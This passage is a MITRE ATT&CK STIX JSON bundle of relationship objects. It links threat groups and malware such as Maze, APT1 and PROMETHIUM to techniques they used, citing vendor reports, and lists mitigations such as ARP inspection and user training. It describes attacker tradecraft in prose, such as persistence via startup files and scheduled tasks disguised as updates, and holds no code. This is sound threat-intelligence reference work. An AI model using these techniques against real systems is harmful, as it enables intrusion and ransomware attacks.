            "external_references": [
                {
                    "source_name": "Sophos Maze VM September 2020",
                    "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/",
                    "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."
                }
            ],
            "description": "[Maze](https://attack.mitre.org/software/S0449) has stopped SQL services to ensure it can encrypt any database.(Citation: Sophos Maze VM September 2020) ",
            "relationship_type": "uses",
            "id": "relationship--dcd5b361-b86b-47c7-8ce8-85918e00a224",
            "type": "relationship",
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            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
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                {
                    "source_name": "Sophos Maze VM September 2020",
                    "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/",
                    "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."
                }
            ],
            "description": "[Maze](https://attack.mitre.org/software/S0449) has created a file named \"startup_vrun.bat\" in the Startup folder of a virtual machine to establish persistence.(Citation: Sophos Maze VM September 2020)",
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            "id": "relationship--1075f27d-8675-4819-b23b-50d390092c95",
            "type": "relationship",
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            "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336",
            "external_references": [
                {
                    "source_name": "Sophos Maze VM September 2020",
                    "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/",
                    "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."
                }
            ],
            "description": "[Maze](https://attack.mitre.org/software/S0449) has delivered components for its ransomware attacks using MSI files, some of which have been executed from the command-line using <code>msiexec</code>.(Citation: Sophos Maze VM September 2020)",
            "relationship_type": "uses",
            "id": "relationship--e3fa0df1-d388-4e74-b561-acc5094a8e1b",
            "type": "relationship",
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        {
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            ],
            "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
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                {
                    "source_name": "Sophos Maze VM September 2020",
                    "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/",
                    "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."
                }
            ],
            "description": "[Maze](https://attack.mitre.org/software/S0449) has created scheduled tasks using name variants such as \"Windows Update Security\", \"Windows Update Security Patches\", and \"Google Chrome Security Update\", to launch [Maze](https://attack.mitre.org/software/S0449) at a specific time.(Citation: Sophos Maze VM September 2020)",
            "relationship_type": "uses",
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        {
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            "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b",
            "target_ref": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d",
            "external_references": [
                {
                    "source_name": "Sophos Maze VM September 2020",
                    "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/",
                    "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."
                }
            ],
            "description": "[Maze](https://attack.mitre.org/software/S0449) operators have used VirtualBox and a Windows 7 virtual machine to run the ransomware; the virtual machine's configuration file mapped the shared network drives of the target company, presumably so [Maze](https://attack.mitre.org/software/S0449) can encrypt files on the shared drives as well as the local machine.(Citation: Sophos Maze VM September 2020) ",
            "relationship_type": "uses",
            "id": "relationship--3cd19d07-822d-4efd-9f8c-e5b329f331a5",
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        {
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            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d",
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            "id": "relationship--29b03b8f-229b-44a9-a281-6e39edb86844",
            "type": "relationship",
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d",
            "target_ref": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529",
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            "id": "relationship--b6ba4fa6-4b31-4824-9885-882274c62716",
            "type": "relationship",
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        },
        {
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            "object_marking_refs": [
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            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54",
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                    "source_name": "FireEye APT29",
                    "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) has registered algorithmically generated Twitter handles that are used for C2 by malware, such as [HAMMERTOSS](https://attack.mitre.org/software/S0037).(Citation: FireEye APT29)",
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            "id": "relationship--53a6a12f-04f2-445b-b733-8392ade1a7e5",
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            "object_marking_refs": [
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            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21",
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            "id": "relationship--dd3eb448-d9b3-4e25-b6ad-3992eee64ea8",
            "type": "relationship",
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        {
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            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21",
            "relationship_type": "mitigates",
            "description": "Restrict read/write access to systemd <code>.timer</code> unit files to only select privileged users who have a legitimate need to manage system services.",
            "id": "relationship--2c6c988d-d843-4dc0-82be-b504e3c3a39c",
            "type": "relationship",
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        },
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            "target_ref": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21",
            "relationship_type": "mitigates",
            "description": "Limit access to the root account and prevent users from creating and/or modifying systemd timer unit files. ",
            "id": "relationship--e8001e2b-a639-458e-98f1-816a58830562",
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        {
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            "source_ref": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21",
            "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
            "relationship_type": "subtechnique-of",
            "id": "relationship--de73c6a8-fd33-469d-b7e4-e4f6edd823b9",
            "type": "relationship",
            "modified": "2020-10-12T17:50:31.765Z",
            "created": "2020-10-12T17:50:31.765Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70",
            "target_ref": "attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5",
            "external_references": [
                {
                    "source_name": "FireEye EPS Awakens Part 2",
                    "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
                }
            ],
            "description": "[APT16](https://attack.mitre.org/groups/G0023) has compromised otherwise legitimate sites as staging servers for second-stage payloads.(Citation: FireEye EPS Awakens Part 2)",
            "relationship_type": "uses",
            "id": "relationship--82bfe762-9468-458e-801a-13387a271521",
            "type": "relationship",
            "modified": "2020-10-12T19:54:58.627Z",
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            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "target_ref": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1"
                }
            ],
            "description": "[APT1](https://attack.mitre.org/groups/G0006) hijacked FQDNs associated with legitimate websites hosted by hop points.(Citation: Mandiant APT1)",
            "relationship_type": "uses",
            "id": "relationship--c1c2c530-a2d2-4c2f-bcff-ceda0277de59",
            "type": "relationship",
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            ],
            "source_ref": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae",
            "target_ref": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54",
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf",
                    "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.",
                    "source_name": "FireEye APT17"
                }
            ],
            "description": "[APT17](https://attack.mitre.org/groups/G0025) has created profile pages in Microsoft TechNet that were used as C2 infrastructure.(Citation: FireEye APT17)",
            "relationship_type": "uses",
            "id": "relationship--41ca57db-9736-4adf-ac5d-ea2be2ab4860",
            "type": "relationship",
            "modified": "2020-10-13T22:33:14.086Z",
            "created": "2020-10-13T22:33:14.086Z"
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            "target_ref": "attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8",
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf",
                    "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.",
                    "source_name": "FireEye APT17"
                }
            ],
            "description": "[APT17](https://attack.mitre.org/groups/G0025) has created and cultivated profile pages in Microsoft TechNet. To make profile pages appear more legitimate, [APT17](https://attack.mitre.org/groups/G0025) has created biographical sections and posted in forum threads.(Citation: FireEye APT17)",
            "relationship_type": "uses",
            "id": "relationship--fd9834dc-0323-408b-b217-3f3aa27b50ac",
            "type": "relationship",
            "modified": "2020-10-13T22:33:14.133Z",
            "created": "2020-10-13T22:33:14.133Z"
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            ],
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            "target_ref": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928",
            "external_references": [
                {
                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/",
                    "description": "Dell SecureWorks. (2015, October 7). Suspected Iran-Based Hacker Group Creates Network of Fake LinkedIn Profiles. Retrieved January 14, 2016.",
                    "source_name": "Dell Threat Group 2889"
                }
            ],
            "description": "[Cleaver](https://attack.mitre.org/groups/G0003) has created fake LinkedIn profiles that included profile photos, details, and connections.(Citation: Dell Threat Group 2889)",
            "relationship_type": "uses",
            "id": "relationship--a60c0123-95a3-4409-a60e-354e4237d6cb",
            "type": "relationship",
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            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1"
                }
            ],
            "description": "[APT1](https://attack.mitre.org/groups/G0006) has sent spearphishing emails containing hyperlinks to malicious files.(Citation: Mandiant APT1)",
            "relationship_type": "uses",
            "id": "relationship--5bc68652-1d99-4782-80bd-086fc7f8358c",
            "type": "relationship",
            "modified": "2020-10-14T00:44:35.219Z",
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            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1"
                }
            ],
            "description": "[APT1](https://attack.mitre.org/groups/G0006) has sent spearphishing emails containing malicious attachments.(Citation: Mandiant APT1)",
            "relationship_type": "uses",
            "id": "relationship--de4ae50a-0561-4d01-885a-eab60008d5eb",
            "type": "relationship",
            "modified": "2020-10-14T00:44:35.257Z",
            "created": "2020-10-14T00:44:35.257Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "target_ref": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1"
                }
            ],
            "description": "[APT1](https://attack.mitre.org/groups/G0006) has created email accounts for later use in social engineering, phishing, and when registering domains.(Citation: Mandiant APT1)",
            "relationship_type": "uses",
            "id": "relationship--9b14bfc1-2c78-4ec9-ad02-aeed6f1cf83e",
            "type": "relationship",
            "modified": "2020-10-14T00:44:35.270Z",
            "created": "2020-10-14T00:44:35.270Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "target_ref": "attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf",
            "external_references": [
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has created self-signed certificates from fictitious and spoofed legitimate software companies that were later used to sign malware.(Citation: Unit 42 BackConfig May 2020)",
            "relationship_type": "uses",
            "id": "relationship--9319fb2f-88df-4195-a42e-2a6a983a4840",
            "type": "relationship",
            "modified": "2020-10-14T20:39:49.553Z",
            "created": "2020-10-14T20:39:49.553Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3",
            "relationship_type": "mitigates",
            "description": "Disable unnecessary metadata services and restrict or disable insecure versions of metadata services that are in use to prevent adversary access.(Citation: Amazon AWS IMDS V2)",
            "id": "relationship--ac4beabf-1644-4386-b34a-ebfc6e3bd3b0",
            "external_references": [
                {
                    "source_name": "Amazon AWS IMDS V2",
                    "url": "https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/",
                    "description": "MacCarthaigh, C. (2019, November 19). Add defense in depth against open firewalls, reverse proxies, and SSRF vulnerabilities with enhancements to the EC2 Instance Metadata Service. Retrieved October 14, 2020."
                }
            ],
            "type": "relationship",
            "modified": "2021-03-31T19:41:07.180Z",
            "created": "2020-10-14T22:00:11.515Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
            "target_ref": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0",
            "external_references": [
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "description": "[Cleaver](https://attack.mitre.org/groups/G0003) has created customized tools and payloads for functions including ARP poisoning, encryption, credential dumping, ASP.NET shells, web backdoors, process enumeration, WMI querying, HTTP and SMB communications, network interface sniffing, and keystroke logging.(Citation: Cylance Cleaver)",
            "relationship_type": "uses",
            "id": "relationship--7dbfb31d-8ac7-44c5-ad9b-f22e07e95d7e",
            "type": "relationship",
            "modified": "2021-04-21T16:41:35.246Z",
            "created": "2020-10-15T00:52:01.922Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
            "target_ref": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0",
            "external_references": [
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
                }
            ],
            "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) used privately developed and customized remote access tools.(Citation: McAfee Night Dragon)",
            "relationship_type": "uses",
            "id": "relationship--f82e6303-3524-42e1-8f43-fa1bb4303c7e",
            "type": "relationship",
            "modified": "2020-10-15T00:54:00.812Z",
            "created": "2020-10-15T00:54:00.812Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c",
            "target_ref": "attack-pattern--1cec9319-743b-4840-bb65-431547bce82a",
            "external_references": [
                {
                    "source_name": "Talos Promethium June 2020",
                    "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html",
                    "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."
                }
            ],
            "description": "[PROMETHIUM](https://attack.mitre.org/groups/G0056) has created self-signed digital certificates for use in HTTPS C2 traffic.(Citation: Talos Promethium June 2020)",
            "relationship_type": "uses",
            "id": "relationship--66e5238f-c1f7-4094-8c2e-e8e41a4c12f3",
            "type": "relationship",
            "modified": "2020-10-15T01:57:09.092Z",
            "created": "2020-10-15T01:57:09.092Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--20945359-3b39-4542-85ef-08ecb4e1c174",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "external_references": [
                {
                    "source_name": "Talos Promethium June 2020",
                    "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html",
                    "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."
                }
            ],
            "description": "[StrongPity](https://attack.mitre.org/software/S0491) has encrypted C2 traffic using SSL/TLS.(Citation: Talos Promethium June 2020)",
            "relationship_type": "uses",
            "id": "relationship--a624f944-5f3e-4713-9e89-9964ae82c677",
            "type": "relationship",
            "modified": "2020-10-15T02:00:30.447Z",
            "created": "2020-10-15T02:00:30.447Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c",
            "target_ref": "attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf",
            "external_references": [
                {
                    "source_name": "Bitdefender StrongPity June 2020",
                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf",
                    "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."
                }
            ],
            "description": "[PROMETHIUM](https://attack.mitre.org/groups/G0056) has created self-signed certificates to sign malicious installers.(Citation: Bitdefender StrongPity June 2020)",
            "relationship_type": "uses",
            "id": "relationship--4ac5b593-8f47-46cc-9af3-fcb0eb20f66e",
            "type": "relationship",
            "modified": "2020-10-22T18:13:16.606Z",
            "created": "2020-10-15T02:02:39.748Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327",
            "target_ref": "attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1",
            "relationship_type": "subtechnique-of",
            "id": "relationship--1b7c7b5c-22df-4713-be96-818a8916e6d1",
            "type": "relationship",
            "modified": "2020-10-15T02:59:38.710Z",
            "created": "2020-10-15T02:59:38.710Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d",
            "target_ref": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213",
            "relationship_type": "mitigates",
            "description": "Consider enabling DHCP Snooping and Dynamic ARP Inspection on switches to create mappings between IP addresses requested via DHCP and ARP tables and tie the values to a port on the switch that may block bogus traffic.(Citation: Cisco ARP Poisoning Mitigation 2016)(Citation: Juniper DAI 2020)",
            "id": "relationship--cea07509-b84d-4b25-b9e8-758a8e66b3f1",
            "external_references": [
                {
                    "source_name": "Cisco ARP Poisoning Mitigation 2016",
                    "url": "https://www.cisco.com/c/en/us/products/collateral/switches/catalyst-6500-series-switches/white_paper_c11_603839.html",
                    "description": "King, J., Lauerman, K. (2016, January 22). ARP Poisoning (Man-in-the-Middle) Attack and Mitigation Technique. Retrieved October 15, 2020."
                },
                {
                    "source_name": "Juniper DAI 2020",
                    "url": "https://www.juniper.net/documentation/en_US/junos/topics/task/configuration/understanding-and-using-dai.html",
                    "description": "Juniper. (2020, September 23). Understanding and Using Dynamic ARP Inspection (DAI). Retrieved October 15, 2020."
                }
            ],
            "type": "relationship",
            "modified": "2020-10-16T15:22:46.508Z",
            "created": "2020-10-15T12:05:58.901Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a",
            "target_ref": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213",
            "relationship_type": "mitigates",
            "description": "Train users to be suspicious about certificate errors. Adversaries may use their own certificates in an attempt to MiTM HTTPS traffic. Certificate errors may arise when the application\u2019s certificate does not match the one expected by the host.",
            "id": "relationship--59c65423-347b-4a09-a24d-c228faaa5119",
            "type": "relationship",
            "modified": "2020-10-16T15:19:48.483Z",
            "created": "2020-10-15T12:05:58.908Z"
        },
        {
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            "relationship_type": "mitigates",
            "description": "Network intrusion detection and prevention systems that can identify traffic patterns indicative of MiTM activity can be used to mitigate activity at the network level.",
            "id": "relationship--55e36f24-f7dd-4966-b39f-88349b86fff3",
            "type": "relationship",
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            "description": "Ensure that all wired and/or wireless traffic is encrypted appropriately. Use best practices for authentication protocols, such as Kerberos, and ensure web traffic that may contain credentials is protected by SSL/TLS.",
            "id": "relationship--07bc8502-7a60-4d19-b1e1-f4fb081ed50d",
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        {
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            "description": "Create static ARP entries for networked devices. Implementing static ARP entries may be infeasible for large networks.",
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            "type": "relationship",
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        {
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            "relationship_type": "mitigates",
            "description": "Consider disabling updating the ARP cache on gratuitous ARP replies.",
            "id": "relationship--8fe9affe-bf8d-4392-882d-d3e737eb5c43",
            "type": "relationship",
            "modified": "2020-10-16T15:19:48.644Z",
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        },
        {
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            ],
            "source_ref": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213",
            "target_ref": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d",
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            "id": "relationship--559d4b9f-55ed-4626-9be2-a64638d0bfc3",
            "type": "relationship",
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            "created": "2020-10-15T12:05:58.968Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
            "target_ref": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213",
            "external_references": [
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "description": "[Cleaver](https://attack.mitre.org/groups/G0003) has used custom tools to facilitate ARP cache poisoning.(Citation: Cylance Cleaver)",
            "relationship_type": "uses",
            "id": "relationship--1e03e6e0-8b7b-4e93-a955-245561085aae",
            "type": "relationship",
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            ],
            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59",
            "relationship_type": "mitigates",
            "description": "Make sure that the <code>HISTCONTROL</code> environment variable is set to \u201cignoredups\u201d instead of \u201cignoreboth\u201d or \u201cignorespace\u201d.",
            "id": "relationship--00876444-466d-40fe-8de5-0c13fcd0ea1a",
            "type": "relationship",
            "modified": "2021-04-24T13:59:13.058Z",
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        },
        {
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            ],
            "source_ref": "course-of-action--609191bf-7d06-40e4-b1f8-9e11eb3ff8a6",
            "target_ref": "attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59",
            "relationship_type": "mitigates",
            "description": "Prevent users from changing the <code>HISTCONTROL</code>, <code>HISTFILE</code>, and <code>HISTFILESIZE</code> environment variables. (Citation: Securing bash history)",
            "id": "relationship--dbb28d6a-0007-467a-ae7a-bf09eddd436c",
            "external_references": [
                {
                    "url": "http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory",
                    "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.",
                    "source_name": "Securing bash history"
                }
            ],
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        },
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            ],
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            "target_ref": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1"
                }
            ],
            "description": "[APT1](https://attack.mitre.org/groups/G0006) used publicly available malware for privilege escalation.(Citation: Mandiant APT1)",
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            "id": "relationship--7b817a81-02a9-48f0-8166-9e25b6860a76",
            "type": "relationship",
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        },
        {
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            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "target_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b",
            "external_references": [
                {
                    "source_name": "Unit42 RDAT July 2020",
                    "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/",
                    "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."
                }
            ],
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            "relationship_type": "uses",
            "id": "relationship--0783831d-da64-4bb3-a54e-c5149e7e0d76",
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            ],
            "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157",
            "target_ref": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d",
            "relationship_type": "mitigates",
            "description": "Ensure that all wired and/or wireless traffic is encrypted appropriately. Use best practices for authentication protocols, such as Kerberos, and ensure web traffic that may contain credentials is protected by SSL/TLS.",
            "id": "relationship--0d891052-0c98-4d4a-8d1b-42a02f656eaf",
            "type": "relationship",
            "modified": "2020-10-16T15:14:23.785Z",
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        },
        {
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            ],
            "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a",
            "target_ref": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d",
            "relationship_type": "mitigates",
            "description": "Train users to be suspicious about certificate errors. Adversaries may use their own certificates in an attempt to MiTM HTTPS traffic. Certificate errors may arise when the application\u2019s certificate does not match the one expected by the host.",
            "id": "relationship--7833393c-1a00-432b-beed-8225f754a5bd",
            "type": "relationship",
            "modified": "2020-10-16T15:14:23.801Z",
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        },
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            ],
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            "target_ref": "attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a",
            "relationship_type": "mitigates",
            "description": "Users can be trained to identify social engineering techniques and spearphishing attempts.",
            "id": "relationship--3de6d2ba-842b-4f60-b177-d8082eebbb1e",
            "type": "relationship",
            "modified": "2021-04-15T03:40:20.611Z",
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        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a",
            "target_ref": "attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6",
            "relationship_type": "mitigates",
            "description": "Users can be trained to identify social engineering techniques and spearphishing attempts.",
            "id": "relationship--756acf5d-6765-4611-b451-f855eefcbb77",
            "type": "relationship",
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        },
        {
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            ],
            "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a",
            "target_ref": "attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc",
            "relationship_type": "mitigates",
